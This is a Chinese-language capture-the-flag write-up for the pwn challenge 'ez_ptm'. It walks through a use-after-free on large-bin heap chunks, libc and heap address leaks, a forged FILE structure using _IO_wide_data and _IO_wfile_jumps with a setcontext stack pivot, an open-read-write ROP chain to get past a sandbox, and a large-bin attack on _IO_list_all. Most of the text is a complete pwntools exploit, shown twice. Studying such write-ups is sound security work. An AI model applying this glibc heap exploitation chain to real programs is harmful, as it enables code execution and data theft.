> 技术文档 > 轩辕杯 pwn ez_ptm WP

轩辕杯 pwn ez_ptm WP

checksec:

保护全开,64位 IDA64打开整理函数

add:

使用calloc申请堆,并且堆大小限制在0x400到0x500之间(large bin)

edit:

正常的堆编辑函数

delete:

释放后将堆正常置为0 

show:

正常的show

同时输入0x1314520进入的函数:

存在UAF漏洞,且只能进行一次

这道题还有沙箱:

思路是先利用UAF和large bin泄露libc地址和堆地址:

add(0, 0x440)add(1, 0x450)delete(0)#pause()add(2, 0x450)add(3, 0x450)UAF(2)show(2)leak = u64(p.recv(6).ljust(8,b\'\\x00\'))print(hex(leak))pause()libc_base = leak - 0x21ace0IO_list_all=libc_base+libc.sym[\"_IO_list_all\"]setcontext=libc_base+libc.sym[\'setcontext\']+61rdi = libc_base+libc.search(asm(\"pop rdi\\nret\")).__next__()rsi = libc_base+libc.search(asm(\"pop rsi\\nret\")).__next__()rdx = libc_base+libc.search(asm(\"pop rdx\\nret\")).__next__()rdx_r12= libc_base+libc.search(asm(\"pop rdx\\npop r12\\nret\")).__next__()rax = libc_base+libc.search(asm(\"pop rax\\nret\")).__next__()ret = libc_base+libc.search(asm(\"ret\")).__next__()syscall=libc_base+libc.search(asm(\"syscall\\nret\")).__next__()open_addr=libc_base+libc.sym[\'open\']read_addr=libc_base + libc.sym[\'read\']write_addr=libc_base + libc.sym[\'write\']mprotect=libc_base + libc.sym[\'mprotect\']_IO_wfile_jumps_addr = libc_base + libc.sym[\'_IO_wfile_jumps\']add(4, 0x460)show(2)heap_addr = u64(p.recv(6).ljust(8,b\'\\x00\')) #- 0x1950print(hex(heap_addr))add(0, 0x440)

泄露地址比较简单,接下来要绕过沙箱以及伪造IO

orw = p64(rdi) + p64(heap_addr+0xe0+0xa0+0x10) orw += p64(rsi) + p64(0)orw += p64(open_addr) orw += p64(rdi) + p64(3)orw += p64(rsi)+p64(heap_addr+0x200)orw += p64(rdx_r12) + p64(0x50)*2orw += p64(read_addr) orw += p64(rdi) + p64(1)orw += p64(rsi)+p64(heap_addr+0x200)orw += p64(rdx_r12) + p64(0x50)*2orw += p64(write_addr)fake_file = p64(0)fake_file += p64(0)fake_file += p64(0) #_IO_write_basefake_file += p64(1) #_IO_write_ptrfake_file += p64(0)fake_file += p64(0) #_IO_buf_basefake_file += p64(0)fake_file += p64(0) * 4fake_file += p64(0) #chainfake_file += p32(0) #filenofake_file += p32(0) #flags2fake_file += p64(0) #_old_offset,-1fake_file += p64(0)fake_file += p64(0) #_lockfake_file += p64(0) #_offset, -1fake_file += p64(0)fake_file += p64(heap_addr + 0xe0) #! _IO_wide_datafake_file += p64(0)fake_file += p64(0) * 2fake_file += p64(0) * 2fake_file += p64(0)fake_file += p64(_IO_wfile_jumps_addr) #fake vtable:heap_addr + 0xe0fake_file += b\'\\x00\'.ljust(0xa0, b\'\\x00\') + p64(heap_addr + 0xe0 + 0xe0 + 0x18) + p64(rdi + 1)fake_file += b\'/flag\\x00\\x00\\x00\\x00\'.ljust(0x30, b\'\\x00\') + p64(heap_addr + 0xe0 + 0xe8 - 0x68) + p64(setcontext)fake_file += p64(rdi + 1) + orwedit(0,len(fake_file), fake_file)delete(0)edit(2, 0x20,p64(0) + p64(0) + p64(0) + p64(IO_list_all - 0X20))add(5, 0x4c0)

正常的利用_IO_wide_data和_IO_wfile_jumps 虚函数表伪造的流程

接下来是将wide_data表和进行context操作的重叠了,setcontext位于doallocate的位置便于执行,

看一下setcontext+61的汇编:

以及d老师给的_IO_wfile_doallocate的汇编:

意思是rdx被移动到了在fake_file填充0xa0之前

把rdx移动到heap_addr + 0xe0 + 0xe8 - 0x68位置,从而让rsp到heap_addr + 0xe0 + 0xe0 + 0x18(对应orw地址)之前,完成了栈迁移。执行完setcontext就会ret到orw的执行,读取并写出flag

最后把IO_list_all利用large binattack移动到伪造好的file并且利用exit刷新IO流就能打印出flag

完整exp:

from pwn import *p = process(\'./ezptm\')libc = ELF(\'./libc.so.6\')context(os=\'linux\', arch=\'amd64\', log_level=\'debug\')def add(index, size): p.sendlineafter(b\"choice >> \", b\'1\') p.sendlineafter(b\'Index:\\n\', str(index)) p.sendlineafter(b\'Size:\\n\' , str(size))def delete(index): p.sendlineafter(b\'choice >> \' , b\'2\') p.sendlineafter(b\'Index:\\n\' , str(index))def edit(index,size, message): p.sendlineafter(b\'choice >> \' , b\'3\') p.sendlineafter(b\'Index:\\n\' , str(index)) p.sendlineafter(b\'Size:\' , str(size)) sleep(0.3) p.sendline(message)def show(index): p.sendlineafter(b\'choice >> \' , b\'4\') p.sendlineafter(b\'Index:\\n\' , str(index))def UAF(index): p.sendlineafter(b\'choice >> \' , str(0x1314520)) p.sendlineafter(b\'Index:\\n\' , str(index))gdb.attach(p)add(0, 0x440)add(1, 0x450)delete(0)#pause()add(2, 0x450)add(3, 0x450)UAF(2)show(2)leak = u64(p.recv(6).ljust(8,b\'\\x00\'))print(hex(leak))pause()libc_base = leak - 0x21ace0IO_list_all=libc_base+libc.sym[\"_IO_list_all\"]setcontext=libc_base+libc.sym[\'setcontext\']+61rdi = libc_base+libc.search(asm(\"pop rdi\\nret\")).__next__()rsi = libc_base+libc.search(asm(\"pop rsi\\nret\")).__next__()rdx = libc_base+libc.search(asm(\"pop rdx\\nret\")).__next__()rdx_r12= libc_base+libc.search(asm(\"pop rdx\\npop r12\\nret\")).__next__()rax = libc_base+libc.search(asm(\"pop rax\\nret\")).__next__()ret = libc_base+libc.search(asm(\"ret\")).__next__()syscall=libc_base+libc.search(asm(\"syscall\\nret\")).__next__()open_addr=libc_base+libc.sym[\'open\']read_addr=libc_base + libc.sym[\'read\']write_addr=libc_base + libc.sym[\'write\']mprotect=libc_base + libc.sym[\'mprotect\']_IO_wfile_jumps_addr = libc_base + libc.sym[\'_IO_wfile_jumps\']add(4, 0x460)show(2)heap_addr = u64(p.recv(6).ljust(8,b\'\\x00\')) #- 0x1950print(hex(heap_addr))add(0, 0x440)orw = p64(rdi) + p64(heap_addr+0xe0+0xa0+0x10) orw += p64(rsi) + p64(0)orw += p64(open_addr) orw += p64(rdi) + p64(3)orw += p64(rsi)+p64(heap_addr+0x200)orw += p64(rdx_r12) + p64(0x50)*2orw += p64(read_addr) orw += p64(rdi) + p64(1)orw += p64(rsi)+p64(heap_addr+0x200)orw += p64(rdx_r12) + p64(0x50)*2orw += p64(write_addr)fake_file = p64(0)fake_file += p64(0)fake_file += p64(0) #_IO_write_basefake_file += p64(1) #_IO_write_ptrfake_file += p64(0)fake_file += p64(0) #_IO_buf_basefake_file += p64(0)fake_file += p64(0) * 4fake_file += p64(0) #chainfake_file += p32(0) #filenofake_file += p32(0) #flags2fake_file += p64(0) #_old_offset,-1fake_file += p64(0)fake_file += p64(0) #_lockfake_file += p64(0) #_offset, -1fake_file += p64(0)fake_file += p64(heap_addr + 0xe0) #! _IO_wide_datafake_file += p64(0)fake_file += p64(0) * 2fake_file += p64(0) * 2fake_file += p64(0)fake_file += p64(_IO_wfile_jumps_addr) #fake vtable:heap_addr + 0xe0fake_file += b\'\\x00\'.ljust(0xa0, b\'\\x00\') + p64(heap_addr + 0xe0 + 0xe0 + 0x18) + p64(rdi + 1)fake_file += b\'/flag\\x00\\x00\\x00\\x00\'.ljust(0x30, b\'\\x00\') + p64(heap_addr + 0xe0 + 0xe8 - 0x68) + p64(setcontext)fake_file += p64(rdi + 1) + orwedit(0,len(fake_file), fake_file)delete(0)edit(2, 0x20,p64(0) + p64(0) + p64(0) + p64(IO_list_all - 0X20))add(5, 0x4c0)#pause()p.sendlineafter(b\"choice >> \", b\'5\')p.interactive()

书法欣赏网